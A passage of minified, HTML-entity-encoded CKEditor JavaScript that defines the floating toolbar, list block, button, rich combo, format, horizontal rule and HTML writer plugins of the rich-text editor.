l.getDocumentPosition();switch(a){case &quot;top&quot;:f(&quot;absolute&quot;,&quot;top&quot;,b.y-A-w);break;case &quot;pin&quot;:f(&quot;fixed&quot;,&quot;top&quot;,x);break;case &quot;bottom&quot;:f(&quot;absolute&quot;,&quot;top&quot;,b.y+(p.height||p.bottom-p.top)+w)}k=a}var k,l,t,p,y,A,z,r=d.floatSpaceDockedOffsetX||0,w=d.floatSpaceDockedOffsetY||0,C=d.floatSpacePinnedOffsetX||0,x=d.floatSpacePinnedOffsetY||0;return function(f){if(l=a.editable()){var n=f&amp;&amp;&quot;focus&quot;==f.name;n&amp;&amp;h.show();a.fire(&quot;floatingSpaceLayout&quot;,{show:n});h.removeStyle(&quot;left&quot;);h.removeStyle(&quot;right&quot;);t=h.getClientRect();
p=l.getClientRect();y=e.getViewPaneSize();A=t.height;z=&quot;pageXOffset&quot;in e.$?e.$.pageXOffset:CKEDITOR.document.$.documentElement.scrollLeft;k?(A+w&lt;=p.top?g(&quot;top&quot;):A+w&gt;y.height-p.bottom?g(&quot;pin&quot;):g(&quot;bottom&quot;),f=y.width/2,f=d.floatSpacePreferRight?&quot;right&quot;:0&lt;p.left&amp;&amp;p.right&lt;y.width&amp;&amp;p.width&gt;t.width?&quot;rtl&quot;==d.contentsLangDirection?&quot;right&quot;:&quot;left&quot;:f-p.left&gt;p.right-f?&quot;left&quot;:&quot;right&quot;,t.width&gt;y.width?(f=&quot;left&quot;,n=0):(n=&quot;left&quot;==f?0&lt;p.left?p.left:0:p.right&lt;y.width?y.width-p.right:0,n+t.width&gt;y.width&amp;&amp;(f=&quot;left&quot;==f?
&quot;right&quot;:&quot;left&quot;,n=0)),h.setStyle(f,b((&quot;pin&quot;==k?C:r)+n+(&quot;pin&quot;==k?0:&quot;left&quot;==f?z:-z)))):(k=&quot;pin&quot;,g(&quot;pin&quot;),m(f))}}}();if(k){var f=new CKEDITOR.template(&#039;\x3cdiv id\x3d&quot;cke_{name}&quot; class\x3d&quot;cke {id} cke_reset_all cke_chrome cke_editor_{name} cke_float cke_{langDir} &#039;+CKEDITOR.env.cssClass+&#039;&quot; dir\x3d&quot;{langDir}&quot; title\x3d&quot;&#039;+(CKEDITOR.env.gecko?&quot; &quot;:&quot;&quot;)+&#039;&quot; lang\x3d&quot;{langCode}&quot; role\x3d&quot;application&quot; style\x3d&quot;{style}&quot;&#039;+(a.title?&#039; aria-labelledby\x3d&quot;cke_{name}_arialbl&quot;&#039;:&quot; &quot;)+&quot;\x3e&quot;+(a.title?&#039;\x3cspan id\x3d&quot;cke_{name}_arialbl&quot; class\x3d&quot;cke_voice_label&quot;\x3e{voiceLabel}\x3c/span\x3e&#039;:
&quot; &quot;)+&#039;\x3cdiv class\x3d&quot;cke_inner&quot;\x3e\x3cdiv id\x3d&quot;{topId}&quot; class\x3d&quot;cke_top&quot; role\x3d&quot;presentation&quot;\x3e{content}\x3c/div\x3e\x3c/div\x3e\x3c/div\x3e&#039;),h=CKEDITOR.document.getBody().append(CKEDITOR.dom.element.createFromHtml(f.output({content:k,id:a.id,langDir:a.lang.dir,langCode:a.langCode,name:a.name,style:&quot;display:none;z-index:&quot;+(d.baseFloatZIndex-1),topId:a.ui.spaceId(&quot;top&quot;),voiceLabel:a.title}))),l=CKEDITOR.tools.eventsBuffer(500,m),g=CKEDITOR.tools.eventsBuffer(100,m);h.unselectable();h.on(&quot;mousedown&quot;,
function(a){a=a.data;a.getTarget().hasAscendant(&quot;a&quot;,1)||a.preventDefault()});a.on(&quot;focus&quot;,function(b){m(b);a.on(&quot;change&quot;,l.input);e.on(&quot;scroll&quot;,g.input);e.on(&quot;resize&quot;,g.input)});a.on(&quot;blur&quot;,function(){h.hide();a.removeListener(&quot;change&quot;,l.input);e.removeListener(&quot;scroll&quot;,g.input);e.removeListener(&quot;resize&quot;,g.input)});a.on(&quot;destroy&quot;,function(){e.removeListener(&quot;scroll&quot;,g.input);e.removeListener(&quot;resize&quot;,g.input);h.clearCustomData();h.remove()});a.focusManager.hasFocus&amp;&amp;h.show();a.focusManager.add(h,
1)}}var e=CKEDITOR.document.getWindow(),b=CKEDITOR.tools.cssLength;CKEDITOR.plugins.add(&quot;floatingspace&quot;,{init:function(b){b.on(&quot;loaded&quot;,function(){a(this)},null,null,20)}})}(),CKEDITOR.plugins.add(&quot;listblock&quot;,{requires:&quot;panel&quot;,onLoad:function(){var a=CKEDITOR.addTemplate(&quot;panel-list&quot;,&#039;\x3cul role\x3d&quot;presentation&quot; class\x3d&quot;cke_panel_list&quot;\x3e{items}\x3c/ul\x3e&#039;),e=CKEDITOR.addTemplate(&quot;panel-list-item&quot;,&#039;\x3cli id\x3d&quot;{id}&quot; class\x3d&quot;cke_panel_listItem&quot; role\x3dpresentation\x3e\x3ca id\x3d&quot;{id}_option&quot; _cke_focus\x3d1 hidefocus\x3dtrue title\x3d&quot;{title}&quot; href\x3d&quot;javascript:void(\&#039;{val}\&#039;)&quot;  {onclick}\x3d&quot;CKEDITOR.tools.callFunction({clickFn},\&#039;{val}\&#039;); return false;&quot; role\x3d&quot;option&quot;\x3e{text}\x3c/a\x3e\x3c/li\x3e&#039;),
b=CKEDITOR.addTemplate(&quot;panel-list-group&quot;,&#039;\x3ch1 id\x3d&quot;{id}&quot; class\x3d&quot;cke_panel_grouptitle&quot; role\x3d&quot;presentation&quot; \x3e{label}\x3c/h1\x3e&#039;),c=/\&#039;/g;CKEDITOR.ui.panel.prototype.addListBlock=function(a,b){return this.addBlock(a,new CKEDITOR.ui.listBlock(this.getHolderElement(),b))};CKEDITOR.ui.listBlock=CKEDITOR.tools.createClass({base:CKEDITOR.ui.panel.block,$:function(a,b){b=b||{};var c=b.attributes||(b.attributes={});(this.multiSelect=!!b.multiSelect)&amp;&amp;(c[&quot;aria-multiselectable&quot;]=!0);!c.role&amp;&amp;
(c.role=&quot;listbox&quot;);this.base.apply(this,arguments);this.element.setAttribute(&quot;role&quot;,c.role);c=this.keys;c[40]=&quot;next&quot;;c[9]=&quot;next&quot;;c[38]=&quot;prev&quot;;c[CKEDITOR.SHIFT+9]=&quot;prev&quot;;c[32]=CKEDITOR.env.ie?&quot;mouseup&quot;:&quot;click&quot;;CKEDITOR.env.ie&amp;&amp;(c[13]=&quot;mouseup&quot;);this._.pendingHtml=[];this._.pendingList=[];this._.items={};this._.groups={}},_:{close:function(){if(this._.started){var b=a.output({items:this._.pendingList.join(&quot;&quot;)});this._.pendingList=[];this._.pendingHtml.push(b);delete this._.started}},getClick:function(){this._.click||
(this._.click=CKEDITOR.tools.addFunction(function(a){var b=this.toggle(a);if(this.onClick)this.onClick(a,b)},this));return this._.click}},proto:{add:function(a,b,m){var f=CKEDITOR.tools.getNextId();this._.started||(this._.started=1,this._.size=this._.size||0);this._.items[a]=f;var h;h=CKEDITOR.tools.htmlEncodeAttr(a).replace(c,&quot;\\&#039;&quot;);a={id:f,val:h,onclick:CKEDITOR.env.ie?&#039;onclick\x3d&quot;return false;&quot; onmouseup&#039;:&quot;onclick&quot;,clickFn:this._.getClick(),title:CKEDITOR.tools.htmlEncodeAttr(m||a),text:b||a};
this._.pendingList.push(e.output(a))},startGroup:function(a){this._.close();var c=CKEDITOR.tools.getNextId();this._.groups[a]=c;this._.pendingHtml.push(b.output({id:c,label:a}))},commit:function(){this._.close();this.element.appendHtml(this._.pendingHtml.join(&quot;&quot;));delete this._.size;this._.pendingHtml=[]},toggle:function(a){var b=this.isMarked(a);b?this.unmark(a):this.mark(a);return!b},hideGroup:function(a){var b=(a=this.element.getDocument().getById(this._.groups[a]))&amp;&amp;a.getNext();a&amp;&amp;(a.setStyle(&quot;display&quot;,
&quot;none&quot;),b&amp;&amp;&quot;ul&quot;==b.getName()&amp;&amp;b.setStyle(&quot;display&quot;,&quot;none&quot;))},hideItem:function(a){this.element.getDocument().getById(this._.items[a]).setStyle(&quot;display&quot;,&quot;none&quot;)},showAll:function(){var a=this._.items,b=this._.groups,c=this.element.getDocument(),f;for(f in a)c.getById(a[f]).setStyle(&quot;display&quot;,&quot;&quot;);for(var e in b)a=c.getById(b[e]),f=a.getNext(),a.setStyle(&quot;display&quot;,&quot;&quot;),f&amp;&amp;&quot;ul&quot;==f.getName()&amp;&amp;f.setStyle(&quot;display&quot;,&quot;&quot;)},mark:function(a){this.multiSelect||this.unmarkAll();a=this._.items[a];var b=this.element.getDocument().getById(a);
b.addClass(&quot;cke_selected&quot;);this.element.getDocument().getById(a+&quot;_option&quot;).setAttribute(&quot;aria-selected&quot;,!0);this.onMark&amp;&amp;this.onMark(b)},unmark:function(a){var b=this.element.getDocument();a=this._.items[a];var c=b.getById(a);c.removeClass(&quot;cke_selected&quot;);b.getById(a+&quot;_option&quot;).removeAttribute(&quot;aria-selected&quot;);this.onUnmark&amp;&amp;this.onUnmark(c)},unmarkAll:function(){var a=this._.items,b=this.element.getDocument(),c;for(c in a){var f=a[c];b.getById(f).removeClass(&quot;cke_selected&quot;);b.getById(f+&quot;_option&quot;).removeAttribute(&quot;aria-selected&quot;)}this.onUnmark&amp;&amp;
this.onUnmark()},isMarked:function(a){return this.element.getDocument().getById(this._.items[a]).hasClass(&quot;cke_selected&quot;)},focus:function(a){this._.focusIndex=-1;var b=this.element.getElementsByTag(&quot;a&quot;),c,f=-1;if(a)for(c=this.element.getDocument().getById(this._.items[a]).getFirst();a=b.getItem(++f);){if(a.equals(c)){this._.focusIndex=f;break}}else this.element.focus();c&amp;&amp;setTimeout(function(){c.focus()},0)}}})}}),function(){var a=&#039;\x3ca id\x3d&quot;{id}&quot; class\x3d&quot;cke_button cke_button__{name} cke_button_{state} {cls}&quot;&#039;+
(CKEDITOR.env.gecko&amp;&amp;!CKEDITOR.env.hc?&quot;&quot;:&quot; href\x3d\&quot;javascript:void(&#039;{titleJs}&#039;)\&quot;&quot;)+&#039; title\x3d&quot;{title}&quot; tabindex\x3d&quot;-1&quot; hidefocus\x3d&quot;true&quot; role\x3d&quot;button&quot; aria-labelledby\x3d&quot;{id}_label&quot; aria-haspopup\x3d&quot;{hasArrow}&quot; aria-disabled\x3d&quot;{ariaDisabled}&quot;&#039;;CKEDITOR.env.gecko&amp;&amp;CKEDITOR.env.mac&amp;&amp;(a+=&#039; onkeypress\x3d&quot;return false;&quot;&#039;);CKEDITOR.env.gecko&amp;&amp;(a+=&#039; onblur\x3d&quot;this.style.cssText \x3d this.style.cssText;&quot;&#039;);var a=a+(&#039; onkeydown\x3d&quot;return CKEDITOR.tools.callFunction({keydownFn},event);&quot; onfocus\x3d&quot;return CKEDITOR.tools.callFunction({focusFn},event);&quot; &#039;+
(CKEDITOR.env.ie?&#039;onclick\x3d&quot;return false;&quot; onmouseup&#039;:&quot;onclick&quot;)+&#039;\x3d&quot;CKEDITOR.tools.callFunction({clickFn},this);return false;&quot;\x3e\x3cspan class\x3d&quot;cke_button_icon cke_button__{iconName}_icon&quot; style\x3d&quot;{style}&quot;&#039;),a=a+&#039;\x3e\x26nbsp;\x3c/span\x3e\x3cspan id\x3d&quot;{id}_label&quot; class\x3d&quot;cke_button_label cke_button__{name}_label&quot; aria-hidden\x3d&quot;false&quot;\x3e{label}\x3c/span\x3e{arrowHtml}\x3c/a\x3e&#039;,e=CKEDITOR.addTemplate(&quot;buttonArrow&quot;,&#039;\x3cspan class\x3d&quot;cke_button_arrow&quot;\x3e&#039;+(CKEDITOR.env.hc?&quot;\x26#9660;&quot;:
&quot;&quot;)+&quot;\x3c/span\x3e&quot;),b=CKEDITOR.addTemplate(&quot;button&quot;,a);CKEDITOR.plugins.add(&quot;button&quot;,{beforeInit:function(a){a.ui.addHandler(CKEDITOR.UI_BUTTON,CKEDITOR.ui.button.handler)}});CKEDITOR.UI_BUTTON=&quot;button&quot;;CKEDITOR.ui.button=function(a){CKEDITOR.tools.extend(this,a,{title:a.label,click:a.click||function(b){b.execCommand(a.command)}});this._={}};CKEDITOR.ui.button.handler={create:function(a){return new CKEDITOR.ui.button(a)}};CKEDITOR.ui.button.prototype={render:function(a,d){function k(){var b=a.mode;
b&amp;&amp;(b=this.modes[b]?void 0!==t[b]?t[b]:CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,b=a.readOnly&amp;&amp;!this.readOnly?CKEDITOR.TRISTATE_DISABLED:b,this.setState(b),this.refresh&amp;&amp;this.refresh())}var m=CKEDITOR.env,f=this._.id=CKEDITOR.tools.getNextId(),h=&quot;&quot;,l=this.command,g;this._.editor=a;var n={id:f,button:this,editor:a,focus:function(){CKEDITOR.document.getById(f).focus()},execute:function(){this.button.click(a)},attach:function(a){this.button.attach(a)}},v=CKEDITOR.tools.addFunction(function(a){if(n.onkey)return a=
new CKEDITOR.dom.event(a),!1!==n.onkey(n,a.getKeystroke())}),u=CKEDITOR.tools.addFunction(function(a){var b;n.onfocus&amp;&amp;(b=!1!==n.onfocus(n,new CKEDITOR.dom.event(a)));return b}),q=0;n.clickFn=g=CKEDITOR.tools.addFunction(function(){q&amp;&amp;(a.unlockSelection(1),q=0);n.execute();m.iOS&amp;&amp;a.focus()});if(this.modes){var t={};a.on(&quot;beforeModeUnload&quot;,function(){a.mode&amp;&amp;this._.state!=CKEDITOR.TRISTATE_DISABLED&amp;&amp;(t[a.mode]=this._.state)},this);a.on(&quot;activeFilterChange&quot;,k,this);a.on(&quot;mode&quot;,k,this);!this.readOnly&amp;&amp;
a.on(&quot;readOnly&quot;,k,this)}else l&amp;&amp;(l=a.getCommand(l))&amp;&amp;(l.on(&quot;state&quot;,function(){this.setState(l.state)},this),h+=l.state==CKEDITOR.TRISTATE_ON?&quot;on&quot;:l.state==CKEDITOR.TRISTATE_DISABLED?&quot;disabled&quot;:&quot;off&quot;);if(this.directional)a.on(&quot;contentDirChanged&quot;,function(b){var d=CKEDITOR.document.getById(this._.id),f=d.getFirst();b=b.data;b!=a.lang.dir?d.addClass(&quot;cke_&quot;+b):d.removeClass(&quot;cke_ltr&quot;).removeClass(&quot;cke_rtl&quot;);f.setAttribute(&quot;style&quot;,CKEDITOR.skin.getIconStyle(y,&quot;rtl&quot;==b,this.icon,this.iconOffset))},this);
l||(h+=&quot;off&quot;);var p=this.name||this.command,y=p;this.icon&amp;&amp;!/\./.test(this.icon)&amp;&amp;(y=this.icon,this.icon=null);h={id:f,name:p,iconName:y,label:this.label,cls:this.className||&quot;&quot;,state:h,ariaDisabled:&quot;disabled&quot;==h?&quot;true&quot;:&quot;false&quot;,title:this.title,titleJs:m.gecko&amp;&amp;!m.hc?&quot;&quot;:(this.title||&quot;&quot;).replace(&quot;&#039;&quot;,&quot;&quot;),hasArrow:this.hasArrow?&quot;true&quot;:&quot;false&quot;,keydownFn:v,focusFn:u,clickFn:g,style:CKEDITOR.skin.getIconStyle(y,&quot;rtl&quot;==a.lang.dir,this.icon,this.iconOffset),arrowHtml:this.hasArrow?e.output():&quot;&quot;};b.output(h,
d);if(this.onRender)this.onRender();return n},setState:function(a){if(this._.state==a)return!1;this._.state=a;var b=CKEDITOR.document.getById(this._.id);return b?(b.setState(a,&quot;cke_button&quot;),a==CKEDITOR.TRISTATE_DISABLED?b.setAttribute(&quot;aria-disabled&quot;,!0):b.removeAttribute(&quot;aria-disabled&quot;),this.hasArrow?(a=a==CKEDITOR.TRISTATE_ON?this._.editor.lang.button.selectedLabel.replace(/%1/g,this.label):this.label,CKEDITOR.document.getById(this._.id+&quot;_label&quot;).setText(a)):a==CKEDITOR.TRISTATE_ON?b.setAttribute(&quot;aria-pressed&quot;,
!0):b.removeAttribute(&quot;aria-pressed&quot;),!0):!1},getState:function(){return this._.state},toFeature:function(a){if(this._.feature)return this._.feature;var b=this;this.allowedContent||this.requiredContent||!this.command||(b=a.getCommand(this.command)||b);return this._.feature=b}};CKEDITOR.ui.prototype.addButton=function(a,b){this.add(a,CKEDITOR.UI_BUTTON,b)}}(),CKEDITOR.plugins.add(&quot;richcombo&quot;,{requires:&quot;floatpanel,listblock,button&quot;,beforeInit:function(a){a.ui.addHandler(CKEDITOR.UI_RICHCOMBO,CKEDITOR.ui.richCombo.handler)}}),
function(){var a=&#039;\x3cspan id\x3d&quot;{id}&quot; class\x3d&quot;cke_combo cke_combo__{name} {cls}&quot; role\x3d&quot;presentation&quot;\x3e\x3cspan id\x3d&quot;{id}_label&quot; class\x3d&quot;cke_combo_label&quot;\x3e{label}\x3c/span\x3e\x3ca class\x3d&quot;cke_combo_button&quot; title\x3d&quot;{title}&quot; tabindex\x3d&quot;-1&quot;&#039;+(CKEDITOR.env.gecko&amp;&amp;!CKEDITOR.env.hc?&quot;&quot;:&quot; href\x3d\&quot;javascript:void(&#039;{titleJs}&#039;)\&quot;&quot;)+&#039; hidefocus\x3d&quot;true&quot; role\x3d&quot;button&quot; aria-labelledby\x3d&quot;{id}_label&quot; aria-haspopup\x3d&quot;true&quot;&#039;;CKEDITOR.env.gecko&amp;&amp;CKEDITOR.env.mac&amp;&amp;(a+=&#039; onkeypress\x3d&quot;return false;&quot;&#039;);
CKEDITOR.env.gecko&amp;&amp;(a+=&#039; onblur\x3d&quot;this.style.cssText \x3d this.style.cssText;&quot;&#039;);var a=a+(&#039; onkeydown\x3d&quot;return CKEDITOR.tools.callFunction({keydownFn},event,this);&quot; onfocus\x3d&quot;return CKEDITOR.tools.callFunction({focusFn},event);&quot; &#039;+(CKEDITOR.env.ie?&#039;onclick\x3d&quot;return false;&quot; onmouseup&#039;:&quot;onclick&quot;)+&#039;\x3d&quot;CKEDITOR.tools.callFunction({clickFn},this);return false;&quot;\x3e\x3cspan id\x3d&quot;{id}_text&quot; class\x3d&quot;cke_combo_text cke_combo_inlinelabel&quot;\x3e{label}\x3c/span\x3e\x3cspan class\x3d&quot;cke_combo_open&quot;\x3e\x3cspan class\x3d&quot;cke_combo_arrow&quot;\x3e&#039;+
(CKEDITOR.env.hc?&quot;\x26#9660;&quot;:CKEDITOR.env.air?&quot;\x26nbsp;&quot;:&quot;&quot;)+&quot;\x3c/span\x3e\x3c/span\x3e\x3c/a\x3e\x3c/span\x3e&quot;),e=CKEDITOR.addTemplate(&quot;combo&quot;,a);CKEDITOR.UI_RICHCOMBO=&quot;richcombo&quot;;CKEDITOR.ui.richCombo=CKEDITOR.tools.createClass({$:function(a){CKEDITOR.tools.extend(this,a,{canGroup:!1,title:a.label,modes:{wysiwyg:1},editorFocus:1});a=this.panel||{};delete this.panel;this.id=CKEDITOR.tools.getNextNumber();this.document=a.parent&amp;&amp;a.parent.getDocument()||CKEDITOR.document;a.className=&quot;cke_combopanel&quot;;
a.block={multiSelect:a.multiSelect,attributes:a.attributes};a.toolbarRelated=!0;this._={panelDefinition:a,items:{}}},proto:{renderHtml:function(a){var c=[];this.render(a,c);return c.join(&quot;&quot;)},render:function(a,c){function d(){if(this.getState()!=CKEDITOR.TRISTATE_ON){var c=this.modes[a.mode]?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED;a.readOnly&amp;&amp;!this.readOnly&amp;&amp;(c=CKEDITOR.TRISTATE_DISABLED);this.setState(c);this.setValue(&quot;&quot;);c!=CKEDITOR.TRISTATE_DISABLED&amp;&amp;this.refresh&amp;&amp;this.refresh()}}var k=
CKEDITOR.env,m=&quot;cke_&quot;+this.id,f=CKEDITOR.tools.addFunction(function(c){v&amp;&amp;(a.unlockSelection(1),v=0);l.execute(c)},this),h=this,l={id:m,combo:this,focus:function(){CKEDITOR.document.getById(m).getChild(1).focus()},execute:function(c){var d=h._;if(d.state!=CKEDITOR.TRISTATE_DISABLED)if(h.createPanel(a),d.on)d.panel.hide();else{h.commit();var f=h.getValue();f?d.list.mark(f):d.list.unmarkAll();d.panel.showBlock(h.id,new CKEDITOR.dom.element(c),4)}},clickFn:f};a.on(&quot;activeFilterChange&quot;,d,this);a.on(&quot;mode&quot;,
d,this);a.on(&quot;selectionChange&quot;,d,this);!this.readOnly&amp;&amp;a.on(&quot;readOnly&quot;,d,this);var g=CKEDITOR.tools.addFunction(function(c,d){c=new CKEDITOR.dom.event(c);var e=c.getKeystroke();if(40==e)a.once(&quot;panelShow&quot;,function(a){a.data._.panel._.currentBlock.onKeyDown(40)});switch(e){case 13:case 32:case 40:CKEDITOR.tools.callFunction(f,d);break;default:l.onkey(l,e)}c.preventDefault()}),n=CKEDITOR.tools.addFunction(function(){l.onfocus&amp;&amp;l.onfocus()}),v=0;l.keyDownFn=g;k={id:m,name:this.name||this.command,label:this.label,
title:this.title,cls:this.className||&quot;&quot;,titleJs:k.gecko&amp;&amp;!k.hc?&quot;&quot;:(this.title||&quot;&quot;).replace(&quot;&#039;&quot;,&quot;&quot;),keydownFn:g,focusFn:n,clickFn:f};e.output(k,c);if(this.onRender)this.onRender();return l},createPanel:function(a){if(!this._.panel){var c=this._.panelDefinition,d=this._.panelDefinition.block,e=c.parent||CKEDITOR.document.getBody(),m=&quot;cke_combopanel__&quot;+this.name,f=new CKEDITOR.ui.floatPanel(a,e,c),h=f.addListBlock(this.id,d),l=this;f.onShow=function(){this.element.addClass(m);l.setState(CKEDITOR.TRISTATE_ON);
l._.on=1;l.editorFocus&amp;&amp;!a.focusManager.hasFocus&amp;&amp;a.focus();if(l.onOpen)l.onOpen();a.once(&quot;panelShow&quot;,function(){h.focus(!h.multiSelect&amp;&amp;l.getValue())})};f.onHide=function(c){this.element.removeClass(m);l.setState(l.modes&amp;&amp;l.modes[a.mode]?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED);l._.on=0;if(!c&amp;&amp;l.onClose)l.onClose()};f.onEscape=function(){f.hide(1)};h.onClick=function(a,b){l.onClick&amp;&amp;l.onClick.call(l,a,b);f.hide()};this._.panel=f;this._.list=h;f.getBlock(this.id).onHide=function(){l._.on=
0;l.setState(CKEDITOR.TRISTATE_OFF)};this.init&amp;&amp;this.init()}},setValue:function(a,c){this._.value=a;var d=this.document.getById(&quot;cke_&quot;+this.id+&quot;_text&quot;);d&amp;&amp;(a||c?d.removeClass(&quot;cke_combo_inlinelabel&quot;):(c=this.label,d.addClass(&quot;cke_combo_inlinelabel&quot;)),d.setText(&quot;undefined&quot;!=typeof c?c:a))},getValue:function(){return this._.value||&quot;&quot;},unmarkAll:function(){this._.list.unmarkAll()},mark:function(a){this._.list.mark(a)},hideItem:function(a){this._.list.hideItem(a)},hideGroup:function(a){this._.list.hideGroup(a)},
showAll:function(){this._.list.showAll()},add:function(a,c,d){this._.items[a]=d||a;this._.list.add(a,c,d)},startGroup:function(a){this._.list.startGroup(a)},commit:function(){this._.committed||(this._.list.commit(),this._.committed=1,CKEDITOR.ui.fire(&quot;ready&quot;,this));this._.committed=1},setState:function(a){if(this._.state!=a){var c=this.document.getById(&quot;cke_&quot;+this.id);c.setState(a,&quot;cke_combo&quot;);a==CKEDITOR.TRISTATE_DISABLED?c.setAttribute(&quot;aria-disabled&quot;,!0):c.removeAttribute(&quot;aria-disabled&quot;);this._.state=
a}},getState:function(){return this._.state},enable:function(){this._.state==CKEDITOR.TRISTATE_DISABLED&amp;&amp;this.setState(this._.lastState)},disable:function(){this._.state!=CKEDITOR.TRISTATE_DISABLED&amp;&amp;(this._.lastState=this._.state,this.setState(CKEDITOR.TRISTATE_DISABLED))}},statics:{handler:{create:function(a){return new CKEDITOR.ui.richCombo(a)}}}});CKEDITOR.ui.prototype.addRichCombo=function(a,c){this.add(a,CKEDITOR.UI_RICHCOMBO,c)}}(),CKEDITOR.plugins.add(&quot;format&quot;,{requires:&quot;richcombo&quot;,init:function(a){if(!a.blockless){for(var e=
a.config,b=a.lang.format,c=e.format_tags.split(&quot;;&quot;),d={},k=0,m=[],f=0;f&lt;c.length;f++){var h=c[f],l=new CKEDITOR.style(e[&quot;format_&quot;+h]);if(!a.filter.customConfig||a.filter.check(l))k++,d[h]=l,d[h]._.enterMode=a.config.enterMode,m.push(l)}0!==k&amp;&amp;a.ui.addRichCombo(&quot;Format&quot;,{label:b.label,title:b.panelTitle,toolbar:&quot;styles,20&quot;,allowedContent:m,panel:{css:[CKEDITOR.skin.getPath(&quot;editor&quot;)].concat(e.contentsCss),multiSelect:!1,attributes:{&quot;aria-label&quot;:b.panelTitle}},init:function(){this.startGroup(b.panelTitle);
for(var a in d){var c=b[&quot;tag_&quot;+a];this.add(a,d[a].buildPreview(c),c)}},onClick:function(b){a.focus();a.fire(&quot;saveSnapshot&quot;);b=d[b];var c=a.elementPath();a[b.checkActive(c,a)?&quot;removeStyle&quot;:&quot;applyStyle&quot;](b);setTimeout(function(){a.fire(&quot;saveSnapshot&quot;)},0)},onRender:function(){a.on(&quot;selectionChange&quot;,function(b){var c=this.getValue();b=b.data.path;this.refresh();for(var f in d)if(d[f].checkActive(b,a)){f!=c&amp;&amp;this.setValue(f,a.lang.format[&quot;tag_&quot;+f]);return}this.setValue(&quot;&quot;)},this)},onOpen:function(){this.showAll();
for(var b in d)a.activeFilter.check(d[b])||this.hideItem(b)},refresh:function(){var b=a.elementPath();if(b){if(b.isContextFor(&quot;p&quot;))for(var c in d)if(a.activeFilter.check(d[c]))return;this.setState(CKEDITOR.TRISTATE_DISABLED)}}})}}}),CKEDITOR.config.format_tags=&quot;p;h1;h2;h3;h4;h5;h6;pre;address;div&quot;,CKEDITOR.config.format_p={element:&quot;p&quot;},CKEDITOR.config.format_div={element:&quot;div&quot;},CKEDITOR.config.format_pre={element:&quot;pre&quot;},CKEDITOR.config.format_address={element:&quot;address&quot;},CKEDITOR.config.format_h1=
{element:&quot;h1&quot;},CKEDITOR.config.format_h2={element:&quot;h2&quot;},CKEDITOR.config.format_h3={element:&quot;h3&quot;},CKEDITOR.config.format_h4={element:&quot;h4&quot;},CKEDITOR.config.format_h5={element:&quot;h5&quot;},CKEDITOR.config.format_h6={element:&quot;h6&quot;},function(){var a={canUndo:!1,exec:function(a){var b=a.document.createElement(&quot;hr&quot;);a.insertElement(b)},allowedContent:&quot;hr&quot;,requiredContent:&quot;hr&quot;};CKEDITOR.plugins.add(&quot;horizontalrule&quot;,{init:function(e){e.blockless||(e.addCommand(&quot;horizontalrule&quot;,a),e.ui.addButton&amp;&amp;e.ui.addButton(&quot;HorizontalRule&quot;,
{label:e.lang.horizontalrule.toolbar,command:&quot;horizontalrule&quot;,toolbar:&quot;insert,40&quot;}))}})}(),CKEDITOR.plugins.add(&quot;htmlwriter&quot;,{init:function(a){var e=new CKEDITOR.htmlWriter;e.forceSimpleAmpersand=a.config.forceSimpleAmpersand;e.indentationChars=a.config.dataIndentationChars||&quot;\t&quot;;a.dataProcessor.writer=e}}),CKEDITOR.htmlWriter=CKEDITOR.tools.createClass({base:CKEDITOR.htmlParser.basicWriter,$:function(){this.base();this.indentationChars=&quot;\t&quot;;this.selfClosingEnd=&quot; /\x3e&quot;;this.lineBreakChars=&quot;\n&quot;;this.sortAttributes=
1;this._.indent=0;this._.indentation=&quot;&quot;;this._.inPre=0;this._.rules={};var a=CKEDITOR.dtd,e;for(e in CKEDITOR.tools.extend({},a.$nonBodyContent,a.$block,a.$listItem,a.$tableContent))this.setRules(e,{indent:!a[e][&quot;#&quot;],breakBeforeOpen:1,breakBeforeClose:!a[e][&quot;#&quot;],breakAfterClose:1,needsSpace:e in a.$block&amp;&amp;!(e in{li:1,dt:1,dd:1})});this.setRules(&quot;br&quot;,{breakAfterOpen:1});this.setRules(&quot;title&quot;,{indent:0,breakAfterOpen:0});this.setRules(&quot;style&quot;,{indent:0,breakBeforeClose:1});this.setRules(&quot;pre&quot;,{breakAfterOpen:1,
indent:0})},proto:{openTag:function(a){var e=this._.rules[a];this._.afterCloser&amp;&amp;e&amp;&amp;e.needsSpace&amp;&amp;this._.needsSpace&amp;&amp;this._.output.push(&quot;\n&quot;);this._.indent?this.indentation():e&amp;&amp;e.breakBeforeOpen&amp;&amp;(this.lineBreak(),this.indentation());this._.output.push(&quot;\x3c&quot;,a);this._.afterCloser=0},openTagClose:function(a,e){var b=this._.rules[a];e?(this._.output.push(this.selfClosingEnd),b&amp;&amp;b.breakAfterClose&amp;&amp;(this._.needsSpace=b.needsSpace)):(this._.output.push(&quot;\x3e&quot;),b&amp;&amp;b.indent&amp;&amp;(this._.indentation+=this.indentationChars));
b&amp;&amp;b.breakAfterOpen&amp;&amp;this.lineBreak();&quot;pre&quot;==a&amp;&amp;(this._.inPre=1)},attribute:function(a,e){&quot;string&quot;==typeof e&amp;&amp;(this.forceSimpleAmpersand&amp;&amp;(e=e.replace(/&amp;amp;/g,&quot;\x26&quot;)),e=CKEDITOR.tools.htmlEncodeAttr(e));this._.output.push(&quot; &quot;,a,&#039;\x3d&quot;&#039;,e,&#039;&quot;&#039;)},closeTag:function(a){var e=this._.rules[a];e&amp;&amp;e.indent&amp;&amp;(this._.indentation=this._.indentation.substr(this.indentationChars.length));this._.indent?this.indentation():e&amp;&amp;e.breakBeforeClose&amp;&amp;(this.lineBreak(),this.indentation());this._.output.push(&quot;\x3c/&quot;,a,
&quot;\x3e&quot;);&quot;pre&quot;==a&amp;&amp;(this._.inPre=0);e&amp;&amp;e.breakAfterClose&amp;&amp;(this.lineBreak(),this._.needsSpace=e.needsSpace);this._.afterCloser=1},text:function(a){this._.indent&amp;&amp;(this.indentation(),!this._.inPre&amp;&amp;(a=CKEDITOR.tools.ltrim(a)));this._.output.push(a)},comment:function(a){this._.indent&amp;&amp;this.indentation();this._.output.push(&quot;\x3c!--&quot;,a,&quot;--\x3e&quot;)},lineBreak:function(){!this._.inPre&amp;&amp;0&lt;this._.output.length&amp;&amp;this._.output.push(this.lineBreakChars);this._.indent=1},indentation:function(){!this._.inPre&amp;&amp;this._.indentation&amp;&amp;
